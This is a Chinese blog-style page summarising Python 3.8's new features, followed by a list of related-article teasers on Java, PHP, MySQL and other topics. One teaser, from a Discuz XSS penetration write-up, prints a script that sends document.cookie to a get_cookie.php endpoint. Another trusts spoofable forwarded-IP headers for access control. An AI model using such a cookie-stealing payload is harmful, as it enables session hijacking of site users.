python3.8使用方法_python3.8新特性

b65f1aa8900a79d84ef4e8ae16b7b9a6.png

python3.8新特性

Python3.8穩定版已發布,官網發布了一篇介紹新特性的文章,在此記錄一下。

新增賦值操作符:=

作用:把較大表達式中的某部分值賦給變量,因為看起來像海象的眼睛和牙齒,:= 操作符有個特別的名字:海象操作符

范例1:if (n := len(a)) > 10: print(f"List is too long ({n} elements, expected <= 10)")

用了 := ,避免調用 len() 兩次。

新增(僅限位置參數)的語法符號 /

作用:表明一些函數的參數,必須指定位置,并且不能用作關鍵字參數。

范例def f(a, b, /, c, d, *, e, f): print(a, b, c, d, e, f)

在這個例子中,參數 a 和 b 是僅限位置參數的,而 c 或 d可以是僅限位置參數,也可以是關鍵字參數,e 和 f 必須是關鍵字參數。

新增 PYTHONPYCACHEPREFIX 設置 (-X pycache_prefix)

作用:把隱式字節碼緩存,配置為使用單獨的并行文件系統樹,而不是在每個源目錄中使用缺省的 pycache 子目錄。

調試版本與發行版本共享 ABI

f 字符串新支持 = 說明符,用于自記錄表達式和調試

f 字符串是格式化的字符串文字,它是在 Python 3.6 中引入的,已經非常流行。

這次在 v3.8 中新增支持 = 說明符。>>> user = 'eric_idle'>>> member_since = date(1975, 7, 31)>>> f'{user=} {member_since=}'"user='eric_idle' member_since=datetime.date(1975, 7, 31)"

>>> delta = date.today() - member_since>>> f'{user=!s} {delta.days=:,d}''user=eric_idle delta.days=16,075'

PEP 578: Python Runtime Audit Hooks / 運行時審計掛鉤

PEP 添加了審計掛鉤和驗證開放掛鉤。這兩個版本都可以從 Python 和原生代碼(native code)中獲得,允許用純 Python 代碼編寫的應用程序和框架利用額外的通知,同時還允許嵌入式人員或系統管理員在始終啟用審計的情況下部署 Python 構建。

PEP 587: Python Initialization Configuration

PEP 587 添加了一個新的 C API,來配置 Python 初始化,提供對整個配置的更好控制和更好的錯誤報告。

其他

continue 終于可以合法出現 finally: 塊中了;

在 Windows ,默認的異步(asyncio)事件循環改成了 ProactorEventLoop

在 macOS 上, spawn start 方法默認加到 multiprocessing 中了

現在multiprocessing可以使用共享內存段,來避免進程間的 pickle 開銷;

typed_ast 被合并回 CPython 了;

LOAD_GLOBAL 現在快了 40%;

pickle 現在默認使用協議 4,提高了性能;

眾多python培訓視頻,盡在python學習網,歡迎在線學習!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/533214.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/533214.shtml
英文地址,請注明出處:http://en.pswp.cn/news/533214.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

java責任鏈設計模式 訂單_Java責任鏈設計模式實例分析

本文實例講述了Java責任鏈設計模式。分享給大家供大家參考&#xff0c;具體如下&#xff1a;一 代碼abstract class AbstractHandler {private Handler Handler null;// 持有責任鏈中下一個責任處理者的引用public void setHandler( Handler handler ) {this.Handler handler…

java map去重復的數據_使用HashMap去重復數據.

因為HashMap是鍵值對形式&#xff0c;所以一個鍵只對應一個Value&#xff0c;利用這個原理&#xff0c;我們就可以根據某列重復數據做鍵對重復數據進行處理啦~首先先看看我要處理 的數據然后我最后想要的結果&#xff1a;需求&#xff1a;根據groupName每個分組信息只顯示一條數…

centos6.5 MySQL 服務器_啟用CentOS6.5 64位安裝時自帶的MySQL數據庫服務器

本人在虛擬機上又安裝了一臺linux機器&#xff0c;作為MySQL數據庫服務器用&#xff0c;在安裝時選擇了系統自帶的MySQL服務器端&#xff0c;以下是啟用步驟。首先開啟mysqld服務#service mysqld start進入/usr/bin目錄#cd /usr/bin設定mysql數據庫root用戶的密碼#mysqladmin -…

java xml date_W3C XML 模式時間數據類型與java Date進行轉換

W3C XML 模式時間數據格式:"2014-11-17T 09:40:25" 或者 “2014-11-17T 09:40:2508:00”要想把以上格式的時間轉換為能被java所使用個格式有以下3種辦法&#xff1a;(1)、jdk中有這么一個類XMLGregorianCalendar&#xff0c;使用XMLGregorianCalendar類中的toGreGreg…

PHP stomp 連接判斷,php實現通過stomp協議連接ActiveMQ操作示例

本文實例講述了php實現通過stomp協議連接ActiveMQ操作。分享給大家供大家參考&#xff0c;具體如下&#xff1a;前面介紹了php ActiveMQ的安裝與使用&#xff0c;這里再來講述一下php通過stomp協議連接ActiveMQ。一、安裝php的stomp擴展http://pecl.php.net/package/stomp如&am…

authinfo.php,【nginxphp】后臺權限認證方式

一、最常用的方法(代碼中限制)1、如何限制IPfunction get_new_ip(){if(getenv(HTTP_CLIENT_IP)) {$onlineip getenv(HTTP_CLIENT_IP);} elseif(getenv(HTTP_X_FORWARDED_FOR)) {$onlineip getenv(HTTP_X_FORWARDED_FOR);} elseif(getenv(REMOTE_ADDR)) {$onlineip getenv(RE…

php數組無限文類,php把無限級分類生成數組的類

你是否遇到需要把無限級分類循環出來&#xff0c;是不是很頭痛。比如&#xff0c;要循環出一個SELECT,或一個TABLE&#xff0c;要寫一大堆判斷。我的做法是生成數組&#xff0c;可以重復調用&#xff0c;直接循環數組就行了。為了方便&#xff0c;把它寫成了類&#xff1a;clas…

php sql取數據生成數組中,php中實現數組生成要執行的sql語句

本篇文章主要介紹php中實現數組生成要執行的sql語句&#xff0c;感興趣的朋友參考下&#xff0c;希望對大家有所幫助。會不會碰到這樣一種情況呢&#xff1f;每次獲取數據將數據和歷史版本都有一定的差別&#xff0c;然而用ThinkPHP的addAll()函數&#xff0c;卻會將已有的數據…

xss漏洞php注射實戰,利用XSS滲透DISCUZ 6.1.0實戰

論壇——>入侵者布置的跨站攻擊——>轉移被入侵這視線(隱蔽)論壇插入腳本&#xff1a;var img new Image();img.src get_cookie.php?var encodeURI(document.cookie);但是我不一樣&#xff0c;因為他需要誘導人去點擊他的鏈接&#xff0c;但是現在人不是傻子&#xf…

java模塊化按需加載,JavaScript模塊化之使用requireJS按需加載

模塊加載器的概念可能稍微接觸過前端開發的童鞋都不會陌生&#xff0c;通過模塊加載器可以有效的解決這些問題&#xff1a;JS文件的依賴關系。通過異步加載優化script標簽引起的阻塞問題可以簡單的以文件為單位將功能模塊化并實現復用主流的JS模塊加載器有requireJS&#xff0c…

宇軒網絡面試題目PHP,二十道接地氣的php面試題,讓你直接通過面試!就此奉上~...

1、echo count(“abc”); 輸出什么&#xff1f;答&#xff1a;"1"count— 計算數組中的單元數目或對象中的屬性個數int count ( mixed var\[,intvar \[, intvar\[,intmode ] ), 如果 var 不是數組類型或者實現了 Countable 接口的對象&#xff0c;將返回 1&#xff0…

java期末試題c卷,JAVA程序設計期末考試試卷及參考答案

《JAVA程序設計》期末考試試卷考生注意&#xff1a;1&#xff0e;本試卷滿分100分。2&#xff0e;考試時間90分鐘。3&#xff0e;卷面整潔&#xff0c;字跡工整。4&#xff0e;填寫內容不得超出密封線。總分題號一二三四五六核分人題分21204019復查人得分一、單選擇題(每題2分&…

mysql 分組查詢原理,MySQL分組查詢Group By實現原理詳解

由於GROUP BY 實際上也同樣會進行排序操作&#xff0c;而且與ORDER BY 相比&#xff0c;GROUP BY 主要只是多了排序之后的分組操作。當然&#xff0c;如果在分組的時候還使用了其他的一些聚合函數&#xff0c;那么還需要一些聚合函數的計算。所以&#xff0c;在GROUP BY 的實現…

mysql 執行計劃詳解,Mysql中的explain執行計劃詳解(1)

創建一個表test_explain&#xff0c;并添加入下的數據mysql> create table test_explain( a int primary key, b int);Query OK, 0 rows affected (0.09 sec)mysql> insert into test_explain value(1,1),(2,2),(3,3),(4,4),(5,5);explian中的type字段&#xff1a;表示m…

mac php命令行模式,phpstorm分別在Mac和Windows下啟動命令行,并啟用ssh

Mac:在terminal下運行 sudo -i 輸入密碼 就可以用ssh IP:端口 命令行登錄了DAssist是一個命令行開發輔助&#xff0c;可直接在系統命令行工具中使用&#xff0c;Linux和MacOS等自帶命令終端的系統好說&#xff0c;windows下也有cmd和powerShell。那么如何結合開發IDE工具進行…

matlab 價格統計,matlab中的金融數據統計

1.均勻分布隨機數生成函數unidrnd(N&#xff0c;m&#xff0c;n)N生成1到N之間的一個隨機數&#xff0c;確定輸出矩陣m行&#xff0c;n列。2.生成連續均勻分布的隨機數unifrnd(A,B&#xff0c;m,n)A,B表示上下界。3.生成正態分布隨機數normrnd(mu,sigma,m,n)mu均值&#xff0c;…

php訪問js文件不存在,php文件里js不能被執行

我想把上傳文件路徑返回到前端保存&#xff0c;但是后臺php文件里的js沒有執行&#xff0c;前臺input標簽里的value值一直為空后臺acceptfile.php代碼如下:<?php if(!isset($_REQUEST[filename])){exit(No file);}else{$upload_path dirname(__FILE__)./audio;date_defaul…

php 零寬斷言,正則表達式之零寬斷言實例詳解【基于PHP】

這篇文章主要介紹了正則表達式之零寬斷言,簡單介紹了零寬斷言的概念、分類及php實現技巧與相關注意事項,需要的朋友可以參考下本文實例講述了正則表達式之零寬斷言。分享給大家供大家參考&#xff0c;具體如下&#xff1a;前言之前我曾寫了一篇關于正則表達式的文章(//www.jb51…

python 邏輯回歸準確率是1,Python利用邏輯回歸模型解決MNIST手寫數字識別問題詳解...

本文實例講述了Python利用邏輯回歸模型解決MNIST手寫數字識別問題。分享給大家供大家參考&#xff0c;具體如下&#xff1a;1、MNIST手寫識別問題MNIST手寫數字識別問題&#xff1a;輸入黑白的手寫阿拉伯數字&#xff0c;通過機器學習判斷輸入的是幾。可以通過TensorFLow下載MN…

php面試題接口方面,php面試題6 - osc_xb4v1nhl的個人空間 - OSCHINA - 中文開源技術交流社區...

php面試題6一、總結二、php面試題6寫出你認為語言中的高級函數:1)preg_replace()2)preg_match()3) ignore_user_abort()4) debug_backtrace()5) date_default_timezone_set(“PRC”)6) get_class_methods() 得到類的方法名的數組7) preg_split() 字符串分割成數組8)json_encode…